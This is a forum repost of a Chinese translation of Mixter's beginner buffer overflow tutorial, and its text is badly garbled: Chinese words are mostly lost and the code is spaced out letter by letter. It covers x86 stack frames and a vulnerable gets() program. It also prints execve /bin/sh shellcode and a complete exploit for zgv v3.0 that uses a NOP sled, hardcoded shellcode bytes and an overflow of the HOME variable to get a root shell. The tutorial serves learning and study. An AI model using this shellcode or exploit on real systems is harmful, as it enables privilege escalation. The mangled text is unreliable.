[8176] 2014-08-06_缓冲区溢出攻击初学者手册(更新版)

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-17
2014-08-06_缓冲区溢出攻击初学者手册(更新版) I D F _ L a b   F r e e B u f   2 0 1 4 - 0 8 - 0 6 I D F F r e e B u f 使 C -   M i x t e r 1   x 8 6 s p a r c 使 R A M 线 使 E I P E I P
P U S H L P O P L 访 E S P 2   线 m e m o r y   a d d r e s s c o d e 0 x 8 0 5 4 3 2 1 p u s h l   $ 0 x 0 0 x 8 0 5 4 3 2 2 c a l l   $ 0 x 8 0 5 4 3 a 0   0 x 8 0 5 4 3 2 7 r e t 0 x 8 0 5 4 3 2 8 l e a v e . . . 0 x 8 0 5 4 3 a 0 p o p l   % e a x 0 x 8 0 5 4 3 a 1 a d d l   $ 0 x 1 3 3 7 , % e a x 0 x 8 0 5 4 3 a 4 r e t f u n c t i o n ( 0 ) 0 使 p o p l 0 × 8 0 5 4 3 2 7 E B P 使 线 E B P 3 2 4 4 0 × 8 0 5 4 3 2 7 3   v o i d   l a m e   ( v o i d )   {   c h a r   s m a l l [ 3 0 ] ;   g e t s   ( s m a l l ) ;   p r i n t f ( " % s n " ,   s m a l l ) ;   } m a i n ( )   {   l a m e   ( ) ;   r e t u r n   0 ;   }   C o m p i l e   a n d   d i s a s s e m b l e   i t : #   c c   - g g d b   b l a h . c   - o   b l a h / t m p / c c a 0 1 7 4 0 1 . o :   I n   f u n c t i o n   ' l a m e ' : / r o o t / b l a h . c : 1 :   t h e   ' g e t s ' ;   f u n c t i o n   i s   d a n g e r o u s   a n d   s h o u l d   n o t   b e   u s e d . #   g d b   b l a h / *   s h o r t   e x p l a n a t i o n :   g d b ,   t h e   G N U   d e b u g g e r   i s   u s e d   h e r e   t o   r e a d   t h e       b i n a r y   f i l e   a n d   d i s a s s e m b l e   i t   ( t r a n s l a t e   b y t e s   t o   a s s e m b l e r   c o d e )   * / ( g d b )   d i s a s   m a i n D u m p   o f   a s s e m b l e r   c o d e   f o r   f u n c t i o n   m a i n :
0 x 8 0 4 8 4 c 8   :               p u s h l     % e b p 0 x 8 0 4 8 4 c 9   :           m o v l       % e s p , % e b p 0 x 8 0 4 8 4 c b   :           c a l l       0 x 8 0 4 8 4 a 0   0 x 8 0 4 8 4 d 0   :           l e a v e 0 x 8 0 4 8 4 d 1   :           r e t   ( g d b )   d i s a s   l a m e D u m p   o f   a s s e m b l e r   c o d e   f o r   f u n c t i o n   l a m e : / *   s a v i n g   t h e   f r a m e   p o i n t e r   o n t o   t h e   s t a c k   r i g h t   b e f o r e   t h e   r e t   a d d r e s s   * / 0 x 8 0 4 8 4 a 0   :               p u s h l     % e b p 0 x 8 0 4 8 4 a 1   :           m o v l       % e s p , % e b p / *   e n l a r g e   t h e   s t a c k   b y   0 x 2 0   o r   3 2 .   o u r   b u f f e r   i s   3 0   c h a r a c t e r s ,   b u t   t h e       m e m o r y   i s   a l l o c a t e d   4 b y t e - w i s e   ( b e c a u s e   t h e   p r o c e s s o r   u s e s   3 2 b i t   w o r d s )       t h i s   i s   t h e   e q u i v a l e n t   t o :   c h a r   s m a l l [ 3 0 ] ;   * / 0 x 8 0 4 8 4 a 3   :           s u b l       $ 0 x 2 0 , % e s p / *   l o a d   a   p o i n t e r   t o   s m a l l [ 3 0 ]   ( t h e   s p a c e   o n   t h e   s t a c k ,   w h i c h   i s   l o c a t e d       a t   v i r t u a l   a d d r e s s   0 x f f f f f f e 0 ( % e b p ) )   o n   t h e   s t a c k ,   a n d   c a l l       t h e   g e t s   f u n c t i o n :   g e t s ( s m a l l ) ;   * / 0 x 8 0 4 8 4 a 6   :           l e a l       0 x f f f f f f e 0 ( % e b p ) , % e a x 0 x 8 0 4 8 4 a 9   :           p u s h l     % e a x 0 x 8 0 4 8 4 a a   :         c a l l       0 x 8 0 4 8 3 e c   0 x 8 0 4 8 4 a f   :         a d d l       $ 0 x 4 , % e s p / *   l o a d   t h e   a d d r e s s   o f   s m a l l   a n d   t h e   a d d r e s s   o f   " % s n "   s t r i n g   o n   s t a c k       a n d   c a l l   t h e   p r i n t   f u n c t i o n :   p r i n t f ( " % s n " ,   s m a l l ) ;   * / 0 x 8 0 4 8 4 b 2   :         l e a l       0 x f f f f f f e 0 ( % e b p ) , % e a x 0 x 8 0 4 8 4 b 5   :         p u s h l     % e a x 0 x 8 0 4 8 4 b 6   :         p u s h l     $ 0 x 8 0 4 8 5 2 c 0 x 8 0 4 8 4 b b   :         c a l l       0 x 8 0 4 8 3 d c   0 x 8 0 4 8 4 c 0   :         a d d l       $ 0 x 8 , % e s p / *   g e t   t h e   r e t u r n   a d d r e s s ,   0 x 8 0 4 8 4 d 0 ,   f r o m   s t a c k   a n d   r e t u r n   t o   t h a t   a d d r e s s .       y o u   d o n ' t   s e e   t h a t   e x p l i c i t l y   h e r e   b e c a u s e   i t   i s   d o n e   b y   t h e   C P U   a s   ' r e t '   * / 0 x 8 0 4 8 4 c 3   :         l e a v e 0 x 8 0 4 8 4 c 4   :         r e t E n d   o f   a s s e m b l e r   d u m p . 3 a   #   . / b l a h x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x < -   u s e r   i n p u t x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x #   . / b l a h x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x   < -   u s e r   i n p u t x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x S e g m e n t a t i o n   f a u l t   ( c o r e   d u m p e d ) #   g d b   b l a h   c o r e ( g d b )   i n f o   r e g i s t e r s           e a x :               0 x 2 4                     3 6           e c x :     0 x 8 0 4 8 5 2 f       1 3 4 5 1 3 9 6 7           e d x :                 0 x 1                       1           e b x :       0 x 1 1 a 3 c 8           1 1 5 6 0 4 0           e s p :   0 x b f f f f d b 8   - 1 0 7 3 7 4 2 4 0 8           e b p :       0 x 7 8 7 8 7 8           7 8 9 5 1 6 0
E B P 0 × 7 8 7 8 7 8 0 × 7 8 x 3 2 E B P x x x x 0 × 7 8 7 8 7 8 3 b   l a m e ( ) 0 x 8 0 4 8 4 d 0 0 x 8 0 4 8 4 c b 3 2 4 E B P 4 R E T 4 1 m a i n ( ) { i n t   i = 0 ;   c h a r   b u f [ 4 4 ] ; f o r   ( i = 0 ; i < = 4 0 ; i + = 4 ) * ( l o n g   * )   & b u f [ i ]   =   0 x 8 0 4 8 4 c b ; p u t s ( b u f ) ; } #   r e t Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë ,   #   ( r e t ; c a t ) | . / b l a h t e s t   < -   u s e r   i n p u t Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë , t e s t t e s t   < -   u s e r   i n p u t t e s t 使 线 4   S h e l l c o d e S h e l l c o d e 使 使 使 S h e l l e x e c v e ( ) i n t     e x e c v e     ( c o n s t     c h a r     * f i l e n a m e ,   c h a r   * c o n s t   a r g v   [ ] ,   c h a r   * c o n s t   e n v p [ ] ) ;   L e t s   g e t   t h e   d e t a i l s   o f   t h e   s y s t e m   c a l l   f r o m   g l i b c 2 :   #   g d b   / l i b / l i b c . s o . 6 ( g d b )   d i s a s   e x e c v e D u m p   o f   a s s e m b l e r   c o d e   f o r   f u n c t i o n   e x e c v e : 0 x 5 d a 0 0   :               p u s h l     % e b x   / *   t h i s   i s   t h e   a c t u a l   s y s c a l l .   b e f o r e   a   p r o g r a m   w o u l d   c a l l   e x e c v e ,   i t   w o u l d     p u s h   t h e   a r g u m e n t s   i n   r e v e r s e   o r d e r   o n   t h e   s t a c k :   * * e n v p ,   * * a r g v ,   * f i l e n a m e   * / / *   p u t   a d d r e s s   o f   * * e n v p   i n t o   e d x   r e g i s t e r   * / 0 x 5 d a 0 1   :           m o v l       0 x 1 0 ( % e s p , 1 ) , % e d x / *   p u t   a d d r e s s   o f   * * a r g v   i n t o   e c x   r e g i s t e r   * / 0 x 5 d a 0 5   :           m o v l       0 x c ( % e s p , 1 ) , % e c x / *   p u t   a d d r e s s   o f   * f i l e n a m e   i n t o   e b x   r e g i s t e r   * /
0 x 5 d a 0 9   :           m o v l       0 x 8 ( % e s p , 1 ) , % e b x / *   p u t   0 x b   i n   e a x   r e g i s t e r ;   0 x b   = =   e x e c v e   i n   t h e   i n t e r n a l   s y s t e m   c a l l   t a b l e   * / 0 x 5 d a 0 d   :         m o v l       $ 0 x b , % e a x / *   g i v e   c o n t r o l   t o   k e r n e l ,   t o   e x e c u t e   e x e c v e   i n s t r u c t i o n   * / 0 x 5 d a 1 2   :         i n t         $ 0 x 8 0   0 x 5 d a 1 4   :         p o p l       % e b x 0 x 5 d a 1 5   :         c m p l       $ 0 x f f f f f 0 0 1 , % e a x 0 x 5 d a 1 a   :         j a e         0 x 5 d a 1 d   < _ _ s y s c a l l _ e r r o r > 0 x 5 d a 1 c   :         r e t 4 a   使 使 S h e l l c o d e s h e l l c o d e 使 j m p c a l l 线 使 c a l l c a l l c a l l 4 c a l l 0       j m p             ( s k i p   Z   b y t e s   f o r w a r d ) 2       p o p l   % e s i . . .   p u t   f u n c t i o n ( s )   h e r e   . . . Z       c a l l   < - Z + 2 >   ( s k i p   2   l e s s   t h a n   Z   b y t e s   b a c k w a r d ,   t o   P O P L ) Z + 5   . s t r i n g           ( f i r s t   v a r i a b l e ) s h e l l 使 4 b   S h e l l c o d e g l o b a l   c o d e _ s t a r t / *   w e ' ; l l   n e e d   t h i s   l a t e r ,   d o n t   m i n d   i t   * / g l o b a l   c o d e _ e n d . d a t a c o d e _ s t a r t : j m p     0 x 1 7 p o p l   % e s i m o v l   % e s i , 0 x 8 ( % e s i ) / *   p u t   a d d r e s s   o f   * * a r g v   b e h i n d   s h e l l c o d e ,       0 x 8   b y t e s   b e h i n d   i t   s o   a   / b i n / s h   h a s   p l a c e   * / x o r l   % e a x , % e a x / *   p u t   0   i n   % e a x   * / m o v b   % e a x , 0 x 7 ( % e s i ) / *   p u t   t e r m i n a t i n g   0   a f t e r   / b i n / s h   s t r i n g   * / m o v l   % e a x , 0 x c ( % e s i ) / *   a n o t h e r   0   t o   g e t   t h e   s i z e   o f   a   l o n g   w o r d   * / m y _ e x e c v e : m o v b   $ 0 x b , % a l / *   e x e c v e (                   * / m o v l   % e s i , % e b x / *   " / b i n / s h " ,             * / l e a l   0 x 8 ( % e s i ) , % e c x / *   &   o f   " / b i n / s h " ,   * / x o r l   % e d x , % e d x / *   N U L L       * / i n t   $ 0 x 8 0 / *   ) ;       * / c a l l   - 0 x 1 c . s t r i n g   " / b i n / s h X " / *   X   i s   o v e r w r i t t e n   b y   m o v b   % e a x , 0 x 7 ( % e s i )   * /
c o d e _ e n d : 0 × 0 0 × 1 7 - 0 x 1 c s h e l l s h e l l c o d e e x i t ( ) s h e l l c o d e 0 使 m o v   % e a x , 0 × 7 ( % e s i ) X s h e l l c o d e c o d e . S c o d e . c e x t e r n   v o i d   c o d e _ s t a r t ( ) ; e x t e r n   v o i d   c o d e _ e n d ( ) ; # i n c l u d e   < s t d i o . h > m a i n ( )   {   ( ( v o i d   ( * ) ( v o i d ) )   c o d e _ s t a r t ) ( ) ;   }   #   c c   - o   c o d e   c o d e . S   c o d e . c #   . / c o d e b a s h # s h e l l c o d e 1 6 # i n c l u d e   < s t d i o . h > e x t e r n   v o i d   c o d e _ s t a r t ( ) ;   e x t e r n   v o i d   c o d e _ e n d ( ) ; m a i n ( )   {   f p r i n t f ( s t d e r r , " % s " , c o d e _ s t a r t ) ; 使 a c o n v   h b i n 2 c . p l h t t p : / / w w w . d e c . n e t / ~ d h g h t t p : / / m e m b e r s . t r i p o d . c o m / m i x t e r s e c u r i t y 5   s h e l l c o d e z g v #   e x p o r t   H O M E = ` p e r l   - e   ' ; p r i n t f   " a "   x   2 0 0 0 ' ' #   z g v S e g m e n t a t i o n   f a u l t   ( c o r e   d u m p e d ) #   g d b   / u s r / b i n / z g v   c o r e # 0     0 x 6 1 6 1 6 1 6 1   i n   ? ?   ( ) ( g d b )   i n f o   r e g i s t e r   e s p           e s p :   0 x b f f f f 5 7 4   - 1 0 7 3 7 4 4 5 2 4 使 s h e l l c o d e N O P s h e l l c o d e 1 0 0 % s h e l l c o d e 使 N O P s J M P C A L L p o p l E S P z g v H O M E E B P 8 Z g v 1 0 2 4 s u b l   $ 0 × 4 0 0 , % e s p ( = 1 0 2 4 ) 5 a   z g v / *                                       z g v   v 3 . 0   e x p l o i t   b y   M i x t e r
                    b u f f e r   o v e r f l o w   t u t o r i a l   -   h t t p : / / 1 3 3 7 . t s x . o r g                   s a m p l e   e x p l o i t ,   w o r k s   f o r   e x a m p l e   w i t h   p r e c o m p i l e d         r e d h a t   5 . x / s u s e   5 . x / r e d h a t   6 . x / s l a c k w a r e   3 . x   l i n u x   b i n a r i e s   * /   # i n c l u d e   < s t d i o . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t d l i b . h >   / *   T h i s   i s   t h e   m i n i m a l   s h e l l c o d e   f r o m   t h e   t u t o r i a l   * / s t a t i c   c h a r   s h e l l c o d e [ ] = " x e b x 1 7 x 5 e x 8 9 x 7 6 x 0 8 x 3 1 x c 0 x 8 8 x 4 6 x 0 7 x 8 9 x 4 6 x 0 c x b 0 x 0 b x 8 9 x f 3 x 8 d " " x 4 e x 0 8 x 3 1 x d 2 x c d x 8 0 x e 8 x e 4 x f f x f f x f f x 2 f x 6 2 x 6 9 x 6 e x 2 f x 7 3 x 6 8 x 5 8 " ;   # d e f i n e   N O P           0 x 9 0 # d e f i n e   L E N           1 0 3 2 # d e f i n e   R E T           0 x b f f f f 5 7 4   i n t   m a i n ( ) { c h a r   b u f f e r [ L E N ] ; l o n g   r e t a d d r   =   R E T ; i n t   i ;   f p r i n t f ( s t d e r r , " u s i n g   a d d r e s s   0 x % l x n " , r e t a d d r ) ;   / *   t h i s   f i l l s   t h e   w h o l e   b u f f e r   w i t h   t h e   r e t u r n   a d d r e s s ,   s e e   3 b )   * / f o r   ( i = 0 ; i < L E N ; i + = 4 )       * ( l o n g   * ) & b u f f e r [ i ]   =   r e t a d d r ;   / *   t h i s   f i l l s   t h e   i n i t i a l   b u f f e r   w i t h   N O P ' s ,   1 0 0   c h a r s   l e s s   t h a n   t h e       b u f f e r   s i z e ,   s o   t h e   s h e l l c o d e   a n d   r e t u r n   a d d r e s s   f i t s   i n   c o m f o r t a b l y   * / f o r   ( i = 0 ; i < L E N - s t r l e n ( s h e l l c o d e ) - 1 0 0 ) ; i + + )       * ( b u f f e r + i )   =   N O P ;   / *   a f t e r   t h e   e n d   o f   t h e   N O P s ,   w e   c o p y   i n   t h e   e x e c v e ( )   s h e l l c o d e   * / m e m c p y ( b u f f e r + i , s h e l l c o d e , s t r l e n ( s h e l l c o d e ) ) ;   / *   e x p o r t   t h e   v a r i a b l e ,   r u n   z g v   * /   s e t e n v ( " H O M E " ,   b u f f e r ,   1 ) ; e x e c l p ( " z g v " , " z g v " , N U L L ) ; r e t u r n   0 ; }   / *   E O F   * /   W e   n o w   h a v e   a   s t r i n g   l o o k i n g   l i k e   t h i s :   [   . . .   N O P   N O P   N O P   N O P   N O P   J M P   S H E L L C O D E   C A L L   / b i n / s h   R E T   R E T   R E T   R E T   R E T   R E T   ]   W h i l e   z g v ' s   s t a c k   l o o k s   l i k e   t h i s :   v - -   0 x b f f f f 5 7 4   i s   h e r e [           S       M       A       L       L       B       U       F       F       E       R       ]   [ S A V E D   E B P ]   [ O R I G I N A L   R E T ]   T h e   e x e c u t i o n   t h r e a d   o f   z g v   i s   n o w   a s   f o l l o w s :   m a i n   . . .   - >   f u n c t i o n ( )   - >   s t r c p y ( s m a l l b u f f e r , g e t e n v ( " H O M E " ) ) ; z g v s m a l l b u f f e r m a i n f u n c t i o n ( ) /   r e t E I P 0 x b f f f f 5 7 4   n o p 0 x b f f f f 5 7 5   n o p 0 x b f f f f 5 7 6   n o p 0 x b f f f f 5 7 7   j m p   $ 0 x 2 4                                         1
0 x b f f f f 5 7 9   p o p l   % e s i                     3   < - -         | [ . . .   s h e l l c o d e   s t a r t s   h e r e   . . . ]         |         | 0 x b f f f f 5 9 b   c a l l   - $ 0 x 1 c                           2   < - - / 0 x b f f f f 5 9 e   . s t r i n g   " / b i n / s h X " #   c c   - o   z g x   z g x . c #   . / z g x u s i n g   a d d r e s s   0 x b f f f f 5 7 4 b a s h # 5 b   s h e l l s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l a l e p h 1 T a e o h   O h m u d g e 5 c   W i n d o w s   M a c i n t o s h 使 c c . e x e g d b . e x e 6   9 0 % 使 s u i d   r o o t 使 r o o t f o r w h i l e 使 s u i d 使 v a n i l l a U N I X / I D S 使 使

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则